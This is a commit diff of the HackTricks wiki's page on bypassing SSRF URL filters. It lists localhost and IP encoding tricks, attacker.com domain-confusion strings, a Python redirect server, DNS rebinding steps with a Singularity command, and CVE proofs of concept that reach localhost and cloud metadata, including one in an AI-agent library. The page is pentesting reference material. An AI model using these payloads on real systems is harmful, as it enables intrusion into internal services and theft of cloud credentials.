Skip to content

Commit 5e06740

Browse files
authored
Merge pull request #1939 from HackTricks-wiki/research_update_src_pentesting-web_ssrf-server-side-request-forgery_url-format-bypass_20260224_024016
Research Update Enhanced src/pentesting-web/ssrf-server-side...
2 parents 766f380 + f723c56 commit 5e06740

1 file changed

Lines changed: 57 additions & 20 deletions

File tree

src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md

Lines changed: 57 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -4,9 +4,12 @@
44

55
### Localhost
66

7+
<details>
8+
<summary>Localhost payloads</summary>
9+
710
```bash
811
# Localhost
9-
0 # Yes, just 0 is localhost in Linuc
12+
0 # Yes, just 0 is localhost in Linux
1013
http://127.0.0.1:80
1114
http://127.0.0.1:443
1215
http://127.0.0.1:22
@@ -23,7 +26,7 @@ http://[0000::1]:80/
2326
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
2427
http://①②⑦.⓪.⓪.⓪
2528

26-
# CDIR bypass
29+
# CIDR bypass
2730
http://127.127.127.127
2831
http://127.0.1.3
2932
http://127.0.0.0
@@ -50,8 +53,8 @@ http://0xc0a80014/ = http://192.168.0.20
5053
0x0000007f.0x00000000.0x00000000.0x00000001
5154

5255
# Mixed encodings bypass
53-
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
54-
0xA9.254.0251.0376 -> hexadecimal, decimal and octal
56+
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
57+
0xA9.254.0251.0376 -> hexadecimal, decimal and octal
5558

5659
# Add 0s bypass
5760
127.000000000000.1
@@ -78,19 +81,24 @@ http://bugbounty.dod.network = 127.0.0.2 (localhost)
7881
spoofed.burpcollaborator.net = 127.0.0.1
7982
```
8083

84+
</details>
85+
8186
![](<../../images/image (776).png>)
8287

8388
The **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implements IP formatting bypasses.
8489

8590
### Domain Parser
8691

92+
<details>
93+
<summary>Domain parser bypasses</summary>
94+
8795
```bash
8896
https:attacker.com
8997
https:/attacker.com
9098
http:/\/\attacker.com
9199
https:/\attacker.com
92100
//attacker.com
93-
\/\/attacker.com/
101+
\\/\/attacker.com/
94102
/\/attacker.com/
95103
/attacker.com
96104
%0D%0A/attacker.com
@@ -102,8 +110,11 @@ attacker%00.com
102110
attacker%E3%80%82com
103111
attacker。com
104112
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
113+
# double encoded fragment to bypass split("#"): attacker.com%2523@victim
105114
```
106115

116+
</details>
117+
107118
```
108119
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
109120
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
@@ -115,6 +126,9 @@ attacker。com
115126

116127
### Domain Confusion
117128

129+
<details>
130+
<summary>Domain confusion payloads</summary>
131+
118132
```bash
119133
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
120134
# Try replacing https by http
@@ -142,21 +156,25 @@ https://attacker.com:\@@{domain}
142156
https://attacker.com#\@{domain}
143157
https://attacker.com\anything@{domain}/
144158
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com
159+
# colon + backslash confusion (CVE-2025-0454 in autogpt)
160+
http://localhost:\@google.com/../
145161

146162
# On each IP position try to put 1 attackers domain and the others the victim domain
147163
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
148164

149-
#Parameter pollution
165+
# Parameter pollution
150166
next={domain}&next=attacker.com
151167
```
152168

169+
</details>
170+
153171
### Paths and Extensions Bypass
154172

155173
If you are required that the URL must end in a path or an extension, or must contain a path you can try one of the following bypasses:
156174

157175
```
158-
https://metadata/vulerable/path#/expected/path
159-
https://metadata/vulerable/path#.extension
176+
https://metadata/vulnerable/path#/expected/path
177+
https://metadata/vulnerable/path#.extension
160178
https://metadata/expected/path/..%2f..%2f/vulnerable/path
161179
```
162180

@@ -179,6 +197,9 @@ It might be possible that the server is **filtering the original request** of a
179197
For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher.\
180198
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
181199

200+
<details>
201+
<summary>Simple redirector for SSRF testing</summary>
202+
182203
```python
183204
#!/usr/bin/env python3
184205

@@ -200,25 +221,37 @@ class Redirect(BaseHTTPRequestHandler):
200221
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
201222
```
202223

203-
## Explained Tricks
224+
</details>
204225

205-
### Blackslash-trick
226+
### DNS rebinding bypass (2025+)
227+
228+
Even when an SSRF filter performs a **single DNS resolution before sending the HTTP request**, you can still reach internal hosts by rebinding the domain between lookup and connection:
229+
230+
1. Point `victim.example.com` to a public IP so it passes the allow‑list / CIDR check.
231+
2. Serve a very low TTL (or use an authoritative server you control) and rebind the domain to `127.0.0.1` or `169.254.169.254` just before the real request is made.
232+
3. Tools like **Singularity** (`nccgroup/singularity`) automate the authoritative DNS + HTTP server and include ready‑made payloads. Example launch: `python3 singularity.py --lhost <your_ip> --rhost 127.0.0.1 --domain rebinder.test --http-port 8080`.
233+
234+
This technique was used in 2025 to bypass the BentoML "safe URL" patch and similar single‑resolve SSRF filters.
235+
236+
### Explained Tricks
237+
238+
#### Backslash-trick
206239

207240
The _backslash-trick_ exploits a difference between the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard's recognition of the backslash (`\`) as equivalent to the forward slash (`/`), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.
208241

209242
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg)
210243

211-
### Left square bracket
244+
#### Left square bracket
212245

213246
The “left square bracket” character `[` in the userinfo segment can cause Spring’s UriComponentsBuilder to return a hostname value that differs from browsers: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
214247

215-
### Other Confusions
248+
#### Other Confusions
216249

217250
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../images/image (600).png>)
218251

219252
image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
220253

221-
### IPv6 Zone Identifier (%25) Trick
254+
#### IPv6 Zone Identifier (%25) Trick
222255

223256
Modern URL parsers that support RFC 6874 allow *link-local* IPv6 addresses to include a **zone identifier** after a percent sign. Some security filters are not aware of this syntax and will only strip square-bracketed IPv6 literals, letting the following payload reach an internal interface:
224257

@@ -229,21 +262,23 @@ http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
229262

230263
If the target application validates that the host is *not* `fe80::1` but stops parsing at the `%`, it may incorrectly treat the request as external. Always normalise the address **before** any security decision or strip the optional zone id entirely.
231264

232-
### Recent Library Parsing CVEs (2022–2025)
265+
### Recent Library Parsing CVEs (2022–2026)
233266

234267
A number of mainstream frameworks have suffered from hostname-mismatch issues that can be exploited for SSRF once URL validation has been bypassed with the tricks listed above:
235268

236269
| Year | CVE | Component | Bug synopsis | Minimal PoC |
237270
|------|-----|-----------|--------------|-------------|
238-
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` is not allowed in the *userinfo* section, so `https://example.com\[@internal` is parsed as host `example.com` by Spring but as `internal` by browsers, enabling open-redirect & SSRF when host allow-lists are used. Upgrade to Spring 5.3.34 / 6.0.19 / 6.1.6+. |
239-
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Backslash confusion allowed `http://example.com\\@169.254.169.254/` to bypass host filters that split on `@`. |
240-
| 2022 | CVE-2022-3602 | OpenSSL | Hostname verification skipped when the name is suffixed with a `.` (dotless domain confusion). |
241-
242-
When you depend on third-party URL parsers, **compare the canonicalised host returned by the library you trust with the raw string supplied by the user** to detect these classes of issues.
271+
| 2025 | CVE-2025-0454 | Python `requests` + `urllib.parse` (autogpt) | Parsing mismatch on `http://localhost:\\@google.com/../` lets allow‑lists think host is `google.com` while the request hits `localhost`. | `requests.get("http://localhost:\\@google.com/../")` |
272+
| 2025 | CVE-2025-2691 | Node package `nossrf` | Library meant to block SSRF only checks the original hostname, not the **resolved IP**, allowing hostnames that resolve to private ranges. | `curl "http://trusted.example" --resolve trusted.example:80:127.0.0.1` |
273+
| 2024 | CVE-2024-29415 | Node `ip` package | `isPublic()` misclassified dotted‑octal / short‑form localhost (e.g., `0127.0.0.1`, `127.1`) as public, letting filters accept internal targets. | `ip.isPublic('0127.0.0.1')` returns true on vulnerable versions |
274+
| 2024 | CVE-2024-3095 | Langchain WebResearchRetriever | No host filtering; GET requests could reach IMDS/localhost from AI agents. | User‑controlled URL inside `WebResearchRetriever` |
275+
| 2024 | CVE-2024-22243 / ‑22262 | Spring `UriComponentsBuilder` | `[` in userinfo parsed differently by Spring vs browsers, allowing allow‑list bypass. | `https://example.com\[@internal` |
276+
| 2023 | CVE-2023-27592 | **urllib3** <1.26.15 | Backslash confusion allowed `http://example.com\\@169.254.169.254/` to bypass host filters that split on `@`. ||
277+
| 2022 | CVE-2022-3602 | OpenSSL | Hostname verification skipped when the name is suffixed with a `.` (dotless domain confusion). ||
243278

244279
### Payload-generation helpers (2024+)
245280

246-
Creating large custom word-lists by hand is cumbersome. The open-source tool **SSRF-PayloadMaker** (Python 3) can now generate *80 k+* host-mangling combinations automatically, including mixed encodings, forced-HTTP downgrade and backslash variants:
281+
Creating large custom word-lists by hand is cumbersome. The open-source tool **SSRF-PayloadMaker** (Python 3) can now generate *80 k+* host-mangling combinations automatically, including mixed encodings, forced-HTTP downgrade and backslash variants:
247282

248283
```bash
249284
# Generate every known bypass that transforms the allowed host example.com to attacker.com
@@ -259,5 +294,7 @@ The resulting list can be fed directly into Burp Intruder or `ffuf`.
259294
- [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
260295
- [https://nvd.nist.gov/vuln/detail/CVE-2024-22243](https://nvd.nist.gov/vuln/detail/CVE-2024-22243)
261296
- [https://github.com/hsynuzm/SSRF-PayloadMaker](https://github.com/hsynuzm/SSRF-PayloadMaker)
297+
- [https://medium.com/%40narendarlb123/1-cve-2025-0454-autogpt-ssrf-via-url-parsing-confusion-921d66fafcbe](https://medium.com/%40narendarlb123/1-cve-2025-0454-autogpt-ssrf-via-url-parsing-confusion-921d66fafcbe)
298+
- [https://www.tenable.com/blog/how-tenable-bypassed-patch-for-bentoml-ssrf-vulnerability-CVE-2025-54381](https://www.tenable.com/blog/how-tenable-bypassed-patch-for-bentoml-ssrf-vulnerability-CVE-2025-54381)
262299

263300
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)